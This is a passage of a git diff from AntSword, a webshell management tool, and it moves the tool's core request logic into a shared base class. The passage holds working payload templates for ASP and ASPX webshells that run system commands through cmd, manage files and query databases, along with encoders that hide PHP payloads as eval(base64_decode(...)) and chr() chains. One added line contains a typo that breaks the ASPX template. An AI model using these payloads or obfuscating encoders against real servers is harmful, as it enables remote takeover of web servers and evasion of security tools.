-module.exports = { +module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ // 显示所有数据库 show_databases: { _: @@ -34,4 +29,4 @@ module.exports = { [arg1]: '#{hex::conn}', [arg2]: '#{hex::sql}', } -} \ No newline at end of file +}) diff --git a/source/core/asp/template/database/oracle.jsx b/source/core/asp/template/database/oracle.jsx index 063ba78e..da84ab70 100644 --- a/source/core/asp/template/database/oracle.jsx +++ b/source/core/asp/template/database/oracle.jsx @@ -1,14 +1,8 @@ -// -// ASP::oracle数据库驱动代码模板 -// +/** + * ASP::oracle数据库驱动代码模板 + */ - -import { - arg1, arg2, arg3, - arg4, arg5, arg6 -} from '../argv'; - -module.exports = { +module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ // 显示所有数据库 show_databases: { _: @@ -35,4 +29,4 @@ module.exports = { [arg1]: '#{hex::conn}', [arg2]: '#{hex::sql}', } -} \ No newline at end of file +}) diff --git a/source/core/asp/template/database/sqlserver.jsx b/source/core/asp/template/database/sqlserver.jsx index 60f44091..d2053a04 100644 --- a/source/core/asp/template/database/sqlserver.jsx +++ b/source/core/asp/template/database/sqlserver.jsx @@ -1,14 +1,8 @@ -// +// // ASP::mysql数据库驱动代码模板 -// +// - -import { - arg1, arg2, arg3, - arg4, arg5, arg6 -} from '../argv'; - -module.exports = { +module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ // 显示所有数据库 show_databases: { _: @@ -36,4 +30,4 @@ module.exports = { [arg1]: '#{hex::conn}', [arg2]: '#{hex::sql}', } -} \ No newline at end of file +}) diff --git a/source/core/asp/template/filemanager.jsx b/source/core/asp/template/filemanager.jsx index 8fd8f1a6..f633ff41 100644 --- a/source/core/asp/template/filemanager.jsx +++ b/source/core/asp/template/filemanager.jsx @@ -1,10 +1,8 @@ -// -// 文件管理模板 -// +/** + * 文件管理模板 + */ -import { arg1, arg2, arg3 } from './argv'; - -module.exports = { +module.exports = (arg1, arg2, arg3) => ({ dir: { _: `Dim RR:RR=bd(Request("${arg1}")):Function FD(dt):FD=Year(dt)&"-":If Len(Month(dt))=1 Then:FD = FD&"0":End If:FD=FD&Month(dt)&"-":If Len(Day(dt))=1 Then:FD=FD&"0":End If:FD=FD&Day(dt)&" "&FormatDateTime(dt,4)&":":If Len(Second(dt))=1 Then:FD=FD&"0":End If:FD=FD&Second(dt):End Function:SET C=CreateObject("Scripting.FileSystemObject"):Set FO=C.GetFolder(""&RR&""):If Err Then:Response.Write("ERROR:// "&Err.Description):Err.Clear:Else:For Each F in FO.subfolders:Response.Write F.Name&chr(47)&chr(9)&FD(F.DateLastModified)&chr(9)&chr(48)&chr(9)&C.GetFolder(F.Path).attributes&chr(10):Next:For Each L in FO.files:Response.Write L.Name&chr(9)&FD(L.DateLastModified)&chr(9)&L.size&chr(9)&C.GetFile(L.Path).attributes&chr(10):Next:End If`, @@ -77,4 +75,4 @@ module.exports = { [arg1]: "#{hex::url}", [arg2]: "#{hex::path}" } -} \ No newline at end of file +}) diff --git a/source/core/aspx/encoder/base64.jsx b/source/core/aspx/encoder/base64.jsx deleted file mode 100644 index b329b784..00000000 --- a/source/core/aspx/encoder/base64.jsx +++ /dev/null @@ -1,12 +0,0 @@ -// -// php::base64 编码模块 -// -'use strict'; - -module.exports = (pwd, data) => { - const randomID = `_0x${Math.random().toString(16).substr(2)}`; - data[randomID] = new Buffer(data['_']).toString('base64'); - data[pwd] = `eval(base64_decode($_POST[${randomID}]));`; - delete data['_']; - return data; -} \ No newline at end of file diff --git a/source/core/aspx/encoder/chr.jsx b/source/core/aspx/encoder/chr.jsx deleted file mode 100644 index 6703eb3d..00000000 --- a/source/core/aspx/encoder/chr.jsx +++ /dev/null @@ -1,28 +0,0 @@ -// -// encoder::chr -// -// chr编码器 -// -------- -// 利用php函数`chr`进行编码处理 -// -'use strict' - -module.exports = (pwd, data) => { - // 编码函数 - const encode = (php) => { - let ret = []; - let i = 0; - while(i < php.length) { - ret.push(php[i].charCodeAt()); - i ++; - } - return `eVAl(cHr(${ret.join(').ChR(')}));`; - } - - // 编码并去除多余数据 - data[pwd] = encode(data._); - delete data._; - - // 返回数据 - return data; -} \ No newline at end of file diff --git a/source/core/aspx/index.jsx b/source/core/aspx/index.jsx index dbe55f18..3501d213 100644 --- a/source/core/aspx/index.jsx +++ b/source/core/aspx/index.jsx @@ -1,173 +1,60 @@ -// -// 代码模板::asp -// +/** + * ASPX服务端脚本模板 + * 开写:2016/04/12 + * 更新:- + * 作者:蚁逅 + */ +'use strict'; -const iconv = global.require('iconv-lite'); - -class ASP { +import Base from '../base'; +class ASPX extends Base { constructor(opts) { - this.__opts__ = opts; - this.parseTpl([ - 'base', - 'command', - 'filemanager', - 'database/dsn', - 'database/mysql', - 'database/access', - 'database/oracle', - 'database/sqlserver', - 'database/sqloledb_1', - 'database/sqloledb_1_sspi', - 'database/microsoft_jet_oledb_4_0' - ]); - this.parseEnr([]); - } - - // 格式化函数 - format() { - const encode = this.__opts__['encode'] || 'utf8'; - return { - base64: (str) => { - // 编码 - const _str_ = iconv.encode(new Buffer(str), encode); - return new Buffer(_str_).toString('base64'); - }, - // 转换为16进制::编码 - hex: (b) => { - let ret = []; - let buff = iconv.encode(new Buffer(b), encode); - - buff.toJSON()['data'].map((i) => { - let _ = i.toString(16); - _.length < 2 ? _ = `0${_}` : null; - ret.push(_); - }); - - return ret.join('').toUpperCase(); - }, - // 转换为16进制::不编码 - buffer: (b) => { - let ret = []; - - b.toJSON()['data'].map((i) => { - let _ = i.toString(16); - _.length < 2 ? _ = `0${_}` : null; - ret.push(_); - }); - - return ret.join('').toUpperCase(); - } - }; - } - - // 解析模板 - parseTpl(tpl) { - let _export = {}; - - // 模板格式化函数 - const format = this.format(); - - // 加载模板代码 - tpl.map((t) => { - // 解析模板 - this[t.replace(/\//g, '_')] = {}; - let m = require(`./template/${t}`); - for (let _ in m) { - this[t.replace(/\//g, '_')][_] = ( (c) => { - // 如果需要参数 - if (typeof(c) === 'object') { - return (argv, success, error, hook) => { - let data = $.extend({}, c); - // 格式化参数 - for (let d in data) { - (data[d].match(/#{([\w\:]+)}/g) || []).map( (tag) => { - let _t = tag.substr(2, tag.length - 3); - // 如果需要字符处理 - let _f = _t.split('::'); - let _ff; - if ((_f.length > 0) && (_ff = format[_f[0]])) { - // _t = _ff(argv[_f[1]] || _t); - _t = _ff(argv[_f[1]] || ''); - }else{ - // _t = argv[_t] || _t; - _t = argv[_t] || ''; - } - data[d] = data[d].replace(tag, _t) - } ); - } - this.ajax(data, success, error, hook); - } - }else{ - let data = { - _: c - }; - return (success, error, hook) => { - this.ajax(data, success, error, hook); - } - } - } )(m[_]); - } + super(opts); + // 解析模板 + [ + 'base', 'command', 'filemanager', + 'database/dsn', 'database/mysql', + 'database/access', 'database/oracle', + 'database/sqlserver', 'database/sqloledb_1', + 'database/sqloledb_1_sspi', 'database/microsoft_jet_oledb_4_0' + ].map((_) => { + this.parseTemplate(`./aspx/template/${_}`); + }); + // 解析编码器 + this.encoders.map((_) => { + this.parseEncoder(`./aspx/encoder/${_}`); }); } - // 解析编码模块 - parseEnr(edr) { - let encoder = { - // 默认编码器 - default: (pwd, data) => { - data[pwd] = data['_']; - delete data['_']; - return data; - } - }; - edr.map((_) => { - encoder[_] = require(`./encoder/${_}`); - }); - this.__encoder__ = encoder; + /** + * 获取编码器列表 + * @return {array} 编码器列表 + */ + get encoders() { + return []; } - ajax(code, success, error, hook) { - let post = $.extend({}, code); - // 随机ID(用于监听数据来源) - const hash = (String(+new Date) + String(Math.random())).substr(10, 10).replace('.', '_'); - const tag_s = '-=:{'; - const tag_e = '}:=-'; - const encode = this.__opts__['encode'] || 'utf8'; + /** + * HTTP请求数据组合函数 + * @param {Object} data 通过模板解析后的代码对象 + * @return {Promise} 返回一个Promise操作对象 + */ + complete(data) { + // 分隔符号 + let tag_s = '->|'; + let tag_e = '|<-'; - const code_base64 = this.format()['base64'](post['_']); + let formatter = new this.format(this.__opts__['encode']); - post['_'] = `Response.Write("${tag_s}");var err:Exception;try{eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String("${code_base64}")),"unsafe");}catch(err){Response.Write("ERROR:// "+err.message);}Response.Write("${tag_e}");Response.End();`; + // base64编码一次数据 + let base64Code = formatter['base64'](data['_']); - // 编码处理模板 - const encoder = this.__encoder__[this.__opts__['encoder'] || 'default'] || this.__encoder__['default']; - const data = encoder(this.__opts__['pwd'], post); + data['_'] = `Response.Write("${tag_s}");var err:Exception;try{eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String("${babase64Code}")),"unsafe");}catch(err){Response.Write("ERROR:// "+err.message);}Response.Write("${tag_e}");Response.End();`; - // 监听数据返回 - antSword['ipcRenderer'] - // 请求完毕返回数据{text,buff} - .on(`request-${hash}`, (event, arg) => { - success(arg['text'], arg['buff']); - }) - // HTTP请求返回字节流 - .on(`request-chunk-${hash}`, (event, ret) => { - hook ? hook(ret) : null; - }) - // 数据请求错误 - .on(`request-error-${hash}`, (event, ret) => { - error ? error(ret) : null; - }) - // 发送请求数据 - .send('request', { - url: this.__opts__['url'], - hash: hash, - data: data, - tag_s: tag_s, - tag_e: tag_e, - encode: encode - }); + // 使用编码器进行处理并返回 + return this.encodeComplete(tag_s, tag_e, data); } - } -module.exports = ASP; \ No newline at end of file +module.exports = ASPX; diff --git a/source/core/aspx/template/argv.jsx b/source/core/aspx/template/argv.jsx deleted file mode 100644 index 3390a1de..00000000 --- a/source/core/aspx/template/argv.jsx +++ /dev/null @@ -1,14 +0,0 @@ -/** - * 在模板中使用 - * 1. 加载需要的参数列表: import { arg1, arg2, arg3 } from './argv'; - * 2. 嵌入代码参数中:codes={[arg1]: `echo "${arg1}";`}... - **/ - -const random = () => `0x${(Math.random() + Math.random()).toString(16).substr(2)}`; - -export const arg1 = random(); -export const arg2 = random(); -export const arg3 = random(); -export const arg4 = random(); -export const arg5 = random(); -export const arg6 = random(); \ No newline at end of file diff --git a/source/core/aspx/template/base.jsx b/source/core/aspx/template/base.jsx index 0c7e0717..4d67066b 100644 --- a/source/core/aspx/template/base.jsx +++ b/source/core/aspx/template/base.jsx @@ -1,9 +1,9 @@ -// -// 基础信息模板 -// 获取:当前路径、磁盘列表 -// +/** + * 基础信息模板 + * ? 获取当前路径、盘符列表 + */ -module.exports = { +module.exports = () => ({ info: `var c=System.IO.Directory.GetLogicalDrives();Response.Write(Server.MapPath(".")+" ");for(var i=0;i<=c.length-1;i++)Response.Write(c[i][0]+":");` -} \ No newline at end of file +}) diff --git a/source/core/aspx/template/command.jsx b/source/core/aspx/template/command.jsx index 3ae0eab0..10936b26 100644 --- a/source/core/aspx/template/command.jsx +++ b/source/core/aspx/template/command.jsx @@ -1,14 +1,12 @@ -// -// 命令执行模板 -// +/** + * 命令执行模板 + */ -import { arg1, arg2 } from './argv'; - -module.exports = { +module.exports = (arg1, arg2) => ({ exec: { _: `var c=new System.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));var e=new System.Diagnostics.Process();var out:System.IO.StreamReader,EI:System.IO.StreamReader;c.UseShellExecute=false;c.RedirectStandardOutput=true;c.RedirectStandardError=true;e.StartInfo=c;c.Arguments="/c "+System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();Response.Write(out.ReadToEnd()+EI.ReadToEnd());`, [arg1]: "#{base64::bin}", [arg2]: "#{base64::cmd}" } -} \ No newline at end of file +}) diff --git a/source/core/aspx/template/database/access.jsx b/source/core/aspx/template/database/access.jsx index 1ab70813..6dab78b7 100644 --- a/source/core/aspx/template/database/access.jsx +++ b/source/core/aspx/template/database/access.jsx @@ -1,14 +1,8 @@ -// -// ASPX::access数据库驱动代码模板 -// +/** + * access数据库驱动代码模板 + */ - -import { - arg1, arg2, arg3, - arg4, arg5, arg6 -} from '../argv'; - -module.exports = { +module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ // 显示所有数据库 show_databases: { _: @@ -37,4 +31,4 @@ module.exports = { [arg1]: '#{base64::conn}', [arg2]: '#{base64::sql}', } -} \ No newline at end of file +}) diff --git a/source/core/aspx/template/database/default.jsx b/source/core/aspx/template/database/default.jsx index 55d6eef9..71f5816a 100644 --- a/source/core/aspx/template/database/default.jsx +++ b/source/core/aspx/template/database/default.jsx @@ -1,13 +1,8 @@ -// -// 默认数据库操作代码模板 -// +/** + * 默认数据库操作代码模板 + */ -import { - arg1, arg2, arg3, - arg4, arg5, arg6 -} from '../argv'; - -module.exports = { +module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ // 显示所有数据库 show_databases: { _: @@ -35,4 +30,4 @@ module.exports = { [arg1]: '#{base64::conn}', [arg2]: '#{base64::sql}', } -} \ No newline at end of file +}) diff --git a/source/core/aspx/template/database/oracle.jsx b/source/core/aspx/template/database/oracle.jsx index 4e9a6a28..075810df 100644 --- a/source/core/aspx/template/database/oracle.jsx +++ b/source/core/aspx/template/database/oracle.jsx @@ -1,14 +1,8 @@ -// -// ASPX::oracle数据库驱动代码模板 -// +/** + * ASPX::oracle数据库驱动代码模板 + */ - -import { - arg1, arg2, arg3, - arg4, arg5, arg6 -} from '../argv'; - -module.exports = { +module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ // 显示所有数据库 show_databases: { _: @@ -38,4 +32,4 @@ module.exports = { // SELECT * FROM (SELECT A.*,ROWNUM N FROM table2 A ORDER BY 1) WHERE N>0 AND N<=20 [arg2]: '#{base64::sql}', } -} \ No newline at end of file +}) diff --git a/source/core/aspx/template/database/sqlserver.jsx b/source/core/aspx/template/database/sqlserver.jsx index 80a219ae..125f1ced 100644 --- a/source/core/aspx/template/database/sqlserver.jsx +++ b/source/core/aspx/template/database/sqlserver.jsx @@ -1,14 +1,8 @@ -// -// ASPX::mysql数据库驱动代码模板 -// +/** + * ASPX::mysql数据库驱动代码模板 + */ - -import { - arg1, arg2, arg3, - arg4, arg5, arg6 -} from '../argv'; - -module.exports = { +module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ // 显示所有数据库 show_databases: { _: @@ -41,4 +35,4 @@ module.exports = { [arg2]: '#{base64::sql}', [arg3]: '#{dbname}' } -} \ No newline at end of file +}) diff --git a/source/core/aspx/template/filemanager.jsx b/source/core/aspx/template/filemanager.jsx index f70bb5b1..e1c748d6 100644 --- a/source/core/aspx/template/filemanager.jsx +++ b/source/core/aspx/template/filemanager.jsx @@ -1,10 +1,8 @@ -// -// 文件管理模板 -// +/** + * 文件管理模板 + */ -import { arg1, arg2, arg3 } from './argv'; - -module.exports = { +module.exports = (arg1, arg2, arg3) => ({ dir: { _: `var D=System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));var m=new System.IO.DirectoryInfo(D);var s=m.GetDirectories();var P:String;var i;function T(p:String):String{return System.IO.File.GetLastWriteTime(p).ToString("yyyy-MM-dd HH:mm:ss");}for(i in s){P=D+s[i].Name;Response.Write(s[i].Name+"/\t"+T(P)+"\t0\t-\n");}s=m.GetFiles();for(i in s){P=D+s[i].Name;Response.Write(s[i].Name+"\t"+T(P)+"\t"+s[i].Length+"\t-\n");}`, @@ -78,4 +76,4 @@ module.exports = { [arg1]: "#{base64::url}", [arg2]: "#{base64::path}" } -} \ No newline at end of file +}) diff --git a/source/core/base.jsx b/source/core/base.jsx new file mode 100644 index 00000000..bc9e897c --- /dev/null +++ b/source/core/base.jsx @@ -0,0 +1,262 @@ +/** + * 中国蚁剑::核心模块::基础函数库 + * 开写:2016/04/12 + * 更新:- + * 作者:蚁逅 + */ +'use strict'; + +const iconv = global.require('iconv-lite'); + +class Base { + + /** + * 初始化 + * @param {Object} opts 配置对象 + * @return {Object} this + */ + constructor(opts) { + // 默认配置 + opts['encode'] = opts['encode'] || 'utf8'; + opts['encoder'] = opts['encoder'] || 'default'; + this.__opts__ = opts; + // 默认编码器 + this['__encoder__'] = { + default(pwd, data) { + data[pwd] = data['_']; + delete data['_']; + return data; + } + } + } + + /** + * 返回参数列表 + * @return {array} [arg1, arg2, arg3..] + */ + argv() { + // 生成一个随机的变量名 + let random = () => `0x${(Math.random() + Math.random()).toString(16).substr(2)}`; + // 返回六个随机变量名数组 + return [ + random(), random(), random(), + random(), random(), random() + ]; + } + + /** + * 字符串格式化处理 + * 使用方法:const format = new format() + * @param {String} encode [字符串编码,默认utf8] + * @return {Object} [返回字符串处理函数对象] + */ + format(encode) { + return { + /** + * base64编码 + * @param {String} str 字符串 + * @return {String} 编码后的字符串 + */ + base64(str) { + return new Buffer( + iconv.encode(new Buffer(str), encode) + ).toString('base64'); + }, + /** + * 字符串转16进制(不进行编码转换 + * @param {String} str 转换的字符串 + * @return {Buffer} 转换完成的buffer + */ + buffer(str) { + return new Buffer(str).toString('hex').toUpperCase(); + }, + /** + * 字符串转16进制(进行编码转换 + * @param {String} str 转换的字符串 + * @return {Buffer} 转换完成的buffer + */ + hex(str) { + return new Buffer( + iconv.encode(new Buffer(str), encode) + ).toString('hex').toUpperCase(); + } + } + } + + /** + * 解析脚本模板 + * @param {String} tpl 模板文件 + * @return {Object} 解析完毕的模板对象(参数`_`为主代码入口 + */ + parseTemplate(tpl) { + // 把模板路径的`/`转换为`_` + let templateName = (tpl.split('template/')[1]).replace(/\//g, '_'); + this[templateName] = {}; + // 加载模板 + let _argv = this.argv(); + let templateObj = require(`${tpl}`)( + _argv[0], _argv[1], _argv[2], + _argv[3], _argv[4], _argv[5] + ); + let formatter = new this.format(this.__opts__['encode']); + // 解析模板 + for (let funcName in templateObj) { + this[templateName][funcName] = ( + (args) => { + if (typeof(args) === 'object') { + // 如果脚本函数需要参数,则进行解析 + return (argv) => { + let data = {}; + // 克隆源数据到返回数据中 + for (let _ in args) { + data[_] = args[_]; + } + // 循环替换脚本中的标签 + for (let arg in args) { + (args[arg].match(/#{([\w\:]+)}/g) || []).map( + // example: #{hex::str} = hex(str), #{arg1} = arg1 + (tag) => { + let tagStr = tag.substr(2, tag.length - 3); + let tagArr = tagStr.split('::'); + let func, retStr; + if ( + (tagArr.length > 0) && + (func = formatter[tagArr[0]]) + ) { + // 如果包含有分割标签且该格式化函数存在,则调用该函数进行处理 + retStr = func( argv[tagArr[1] || ''] ); + } else { + // 否则替换直接返回字符串 + retStr = argv[tagStr] || ''; + } + // 组合最终生成模板代码 + data[arg] = args[arg].replace(tag, retStr); + } + ) + } + // 发送HTTP请求 + return data; + } + } else { + // 否则直接返回 + return () => ({ _: args }); + } + } + )(templateObj[funcName]); + } + } + + /** + * 解析编码器 + * ? 编码器其实模板返回的脚本对象进行编码处理,主要就是把脚本模板中的`_`主变量改为用户传递的密码 + * @param {String} enc 编码器文件 + * @return {Object} 编码器处理函数对象 + */ + parseEncoder(enc) { + // 加载编码器 + // QAQ!我也不知道为什么,如果直接require变量名,babel编译就会warning,so我只好加个`咯~ + this['__encoder__'][enc.split('encoder/')[1]] = require(`${enc}`); + } + + /** + * 编码处理并返回操作 + * @param {String} tag_s 前截断符 + * @param {String} tag_e 后截断符 + * @param {Object} data 源POST数据 + * @return {Object} 最终生成数据// 将返回三个参数对象:tag_s,tag_e,data + */ + encodeComplete(tag_s, tag_e, data) { + // 编码器处理 + let finalData = this.__encoder__[this.__opts__['encoder']]( + this.__opts__['pwd'], + data + ); + return { + 'tag_s': tag_s, + 'tag_e': tag_e, + 'data': finalData + }; + } + + /** + * HTTP请求函数 + * ? 用法:core.request(core.base.info()).then((ret) => {}).catch((e) => {}).. + * @param {Object} code 请求源数据 + * @param {Function} chunkCallBack 二进制流回调函数,可选 + * @return {Promise} Promise操作对象 + */ + request(code, chunkCallBack) { + const opt = this.complete(code); + return new Promise((res, rej) => { + // 随机ID(用于监听数据来源) + const hash = (String(+new Date) + String(Math.random())).substr(10, 10).replace('.', '_'); + // 监听数据返回 + antSword['ipcRenderer'] + // 请求完毕返回数据{text,buff} + .once(`request-${hash}`, (event, ret) => { + return res({ + 'text': ret['text'], + 'buff': ret['buff'] + }); + }) + // HTTP请求返回字节流 + .on(`request-chunk-${hash}`, (event, ret) => { + return chunkCallBack ? chunkCallBack(ret) : null; + }) + // 数据请求错误 + .once(`request-error-${hash}`, (event, ret) => { + return rej(ret); + }) + // 发送请求数据 + .send('request', { + url: this.__opts__['url'], + hash: hash, + data: opt['data'], + tag_s: opt['tag_s'], + tag_e: opt['tag_e'], + encode: this.__opts__['encode'] + }); + }) + } + + /** + * 文件下载专用函数(因有些文件过大,导致Electron出错 + * @param {String} savePath 保存文件路径 + * @param {Object} postCode 提交数据 + * @param {Function} progressCallback 进度回调 + * @return {Promise} Promise操作对象 + */ + download(savePath, postCode, progressCallback) { + const opt = this.complete(postCode); + return new Promise((ret, rej) => { + // 随机ID(用于监听数据来源) + const hash = (String(+new Date) + String(Math.random())).substr(10, 10).replace('.', '_'); + // 监听数据返回 + antSword['ipcRenderer'] + // 请求完毕返回数据(size) + .once(`download-${hash}`, (event, size) => { + return ret(size); + }) + // HTTP请求返回字节流大小 + .on(`download-progress-${hash}`, (event, size) => { + return progressCallback ? progressCallback(size) : null; + }) + // 数据请求错误 + .once(`download-error-${hash}`, (event, ret) => { + throw new Error(ret); + }) + // 发送请求数据 + .send('download', { + url: this.__opts__['url'], + hash: hash, + path: savePath, + data: opt['data'], + tag_s: opt['tag_s'], + tag_e: opt['tag_e'], + encode: this.__opts__['encode'] + }); + }) + } +} + +export default Base; diff --git a/source/core/custom/index.jsx b/source/core/custom/index.jsx index a99e4820..6c8ed775 100644 --- a/source/core/custom/index.jsx +++ b/source/core/custom/index.jsx @@ -1,169 +1,50 @@ -// -// 代码模板::asp -// +/** + * CUSTOM服务端脚本模板 + * 开写:2016/04/12 + * 更新:- + * 作者:蚁逅 + */ +'use strict'; -const iconv = global.require('iconv-lite'); - -class ASP { +import Base from '../base'; +class CUSTOM extends Base { constructor(opts) { - this.__opts__ = opts; - this.parseTpl([ - 'base', - 'command', - 'filemanager', - 'database/sqlserver', - 'database/mysql', - 'database/oracle' - ]); - this.parseEnr(['base64', 'hex']); - } - - // 格式化函数 - format() { - const encode = this.__opts__['encode'] || 'utf8'; - return { - base64: (str) => { - // 编码 - const _str_ = iconv.encode(new Buffer(str), encode); - return new Buffer(_str_).toString('base64'); - }, - // 转换为16进制::编码 - hex: (b) => { - let ret = []; - let buff = iconv.encode(new Buffer(b), encode); - - buff.toJSON()['data'].map((i) => { - let _ = i.toString(16); - _.length < 2 ? _ = `0${_}` : null; - ret.push(_); - }); - - return ret.join('').toUpperCase(); - }, - // 转换为16进制::不编码 - buffer: (b) => { - let ret = []; - - b.toJSON()['data'].map((i) => { - let _ = i.toString(16); - _.length < 2 ? _ = `0${_}` : null; - ret.push(_); - }); - - return ret.join('').toUpperCase(); - } - }; - } - - // 解析模板 - parseTpl(tpl) { - let _export = {}; - - // 模板格式化函数 - const format = this.format(); - - // 加载模板代码 - tpl.map((t) => { - // 解析模板 - this[t.replace(/\//g, '_')] = {}; - let m = require(`./template/${t}`); - for (let _ in m) { - this[t.replace(/\//g, '_')][_] = ( (c) => { - // 如果需要参数 - if (typeof(c) === 'object') { - return (argv, success, error, hook) => { - let data = $.extend({}, c); - // 格式化参数 - for (let d in data) { - (data[d].match(/#{([\w\:]+)}/g) || []).map( (tag) => { - let _t = tag.substr(2, tag.length - 3); - // 如果需要字符处理 - let _f = _t.split('::'); - let _ff; - if ((_f.length > 0) && (_ff = format[_f[0]])) { - // _t = _ff(argv[_f[1]] || _t); - _t = _ff(argv[_f[1]] || ''); - }else{ - // _t = argv[_t] || _t; - _t = argv[_t] || ''; - } - data[d] = data[d].replace(tag, _t) - } ); - } - this.ajax(data, success, error, hook); - } - }else{ - let data = { - _: c - }; - return (success, error, hook) => { - this.ajax(data, success, error, hook); - } - } - } )(m[_]); - } + super(opts); + // 解析模板 + [ + 'base', 'command', 'filemanager', + 'database/sqlserver', 'database/mysql', 'database/oracle' + ].map((_) => { + this.parseTemplate(`./custom/template/${_}`); }); - } - - // 解析编码模块 - parseEnr(edr) { - let encoder = { - // 默认编码器 - default: (pwd, data) => { - data[pwd] = data['_']; - delete data['_']; - return data; - } - }; - edr.map((_) => { - encoder[_] = require(`./encoder/${_}`); + // 解析编码器 + this.encoders.map((_) => { + this.parseEncoder(`./custom/encoder/${_}`); }); - this.__encoder__ = encoder; } - ajax(code, success, error, hook) { - let post = $.extend({}, code); - // 随机ID(用于监听数据来源) - const hash = (String(+new Date) + String(Math.random())).substr(10, 10).replace('.', '_'); - const tag_s = '->|'; - const tag_e = '|<-'; - const encode = this.__opts__['encode'] || 'utf8'; - - // post[] - // const code_base64 = this.format()['base64'](post['_']); - - // post['_'] = `Response.Write("${tag_s");var err:Exception;try{eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String("${code_base64}")),"unsafe");}catch(err){Response.Write("ERROR:// "+err.message);}Response.Write("${tag_e}");Response.End();`; - - // 编码处理模板 - const encoder = this.__encoder__[this.__opts__['encoder'] || 'default'] || this.__encoder__['default']; - const data = encoder(this.__opts__['pwd'], post); - - // 监听数据返回 - antSword['ipcRenderer'] - // 请求完毕返回数据{text,buff} - .on(`request-${hash}`, (event, arg) => { - success(arg['text'], arg['buff']); - }) - // HTTP请求返回字节流 - .on(`request-chunk-${hash}`, (event, ret) => { - hook ? hook(ret) : null; - }) - // 数据请求错误 - .on(`request-error-${hash}`, (event, ret) => { - error ? error(ret) : null; - }) - // 发送请求数据 - .send('request', { - url: this.__opts__['url'], - hash: hash, - data: data, - tag_s: tag_s, - tag_e: tag_e, - encode: encode - }); + /** + * 获取编码器列表 + * @return {array} 编码器列表 + */ + get encoders() { + return ['base64', 'hex']; } + /** + * HTTP请求数据组合函数 + * @param {Object} data 通过模板解析后的代码对象 + * @return {Promise} 返回一个Promise操作对象 + */ + complete(data) { + // 分隔符号 + let tag_s = '->|'; + let tag_e = '|<-'; + + // 使用编码器进行处理并返回 + return this.encodeComplete(tag_s, tag_e, data); + } } -module.exports = ASP; \ No newline at end of file +module.exports = CUSTOM; diff --git a/source/core/custom/template/base.jsx b/source/core/custom/template/base.jsx index f5aef9a2..7e445c66 100644 --- a/source/core/custom/template/base.jsx +++ b/source/core/custom/template/base.jsx @@ -1,8 +1,8 @@ -// +// // 基础信息模板 // 获取:当前路径、磁盘列表 -// +// -module.exports = { +module.exports = () => ({ info: 'A' -} \ No newline at end of file +}) diff --git a/source/core/custom/template/command.jsx b/source/core/custom/template/command.jsx index 4d92974d..adb89b73 100644 --- a/source/core/custom/template/command.jsx +++ b/source/core/custom/template/command.jsx @@ -1,11 +1,11 @@ // // 命令执行模板 -// +// -module.exports = { +module.exports = () => ({ exec: { _: 'M', 'z1': '#{bin}', 'z2': '#{cmd}' } -} \ No newline at end of file +}) diff --git a/source/core/custom/template/database/default.jsx b/source/core/custom/template/database/default.jsx index a55025a7..70bb20b4 100644 --- a/source/core/custom/template/database/default.jsx +++ b/source/core/custom/template/database/default.jsx @@ -8,7 +8,7 @@ // :db 数据库名 // :table 表名 -module.exports = { +module.exports = () => ({ show_databases: { _: 'N', 'z0': '#{encode}', @@ -33,4 +33,4 @@ module.exports = { 'z1': '#{conn}', 'z2': '#{sql}' } -} +}) diff --git a/source/core/custom/template/filemanager.jsx b/source/core/custom/template/filemanager.jsx index 313b7a75..752f0435 100644 --- a/source/core/custom/template/filemanager.jsx +++ b/source/core/custom/template/filemanager.jsx @@ -1,8 +1,8 @@ -// +// // 文件管理模板 -// +// -module.exports = { +module.exports = () => ({ dir: { _: 'B', 'z1': '#{path}' @@ -63,4 +63,4 @@ module.exports = { 'z1': '#{url}', 'z2': '#{path}' } -} \ No newline at end of file +}) diff --git a/source/core/index.jsx b/source/core/index.jsx new file mode 100644 index 00000000..fa683875 --- /dev/null +++ b/source/core/index.jsx @@ -0,0 +1,25 @@ +/** + * 中国蚁剑::核心模块 + * 开写:2016/04/12 + * 更新:- + * 作者:蚁逅 + */ +'use strict'; + +class Core { + /** + * AntSword Core init + * @return {object} 子模块操作对象 + */ + constructor() { + // 加载子模块列表 + let cores = {}; + ['php', 'asp', 'aspx', 'custom'].map((_) => { + cores[_] = require(`./${_}/index`); + }); + // 返回子模块对象 + return cores; + } +} + +module.exports = new Core(); diff --git a/source/core/php/encoder/base64.jsx b/source/core/php/encoder/base64.jsx index b329b784..008ce8df 100644 --- a/source/core/php/encoder/base64.jsx +++ b/source/core/php/encoder/base64.jsx @@ -1,12 +1,15 @@ -// -// php::base64 编码模块 -// +/** + * php::base64编码器 + * ? 利用php的base64_decode进行编码处理 + */ + 'use strict'; module.exports = (pwd, data) => { - const randomID = `_0x${Math.random().toString(16).substr(2)}`; + // 生成一个随机变量名 + let randomID = `_0x${Math.random().toString(16).substr(2)}`; data[randomID] = new Buffer(data['_']).toString('base64'); data[pwd] = `eval(base64_decode($_POST[${randomID}]));`; delete data['_']; return data; -} \ No newline at end of file +} diff --git a/source/core/php/encoder/chr.jsx b/source/core/php/encoder/chr.jsx index 6703eb3d..f996c1fd 100644 --- a/source/core/php/encoder/chr.jsx +++ b/source/core/php/encoder/chr.jsx @@ -1,10 +1,8 @@ -// -// encoder::chr -// -// chr编码器 -// -------- -// 利用php函数`chr`进行编码处理 -// +/** + * php::chr编码器 + * ? 利用php的chr函数进行编码处理 + */ + 'use strict' module.exports = (pwd, data) => { @@ -25,4 +23,4 @@ module.exports = (pwd, data) => { // 返回数据 return data; -} \ No newline at end of file +} diff --git a/source/core/php/index.jsx b/source/core/php/index.jsx index 8add0227..5695630f 100644 --- 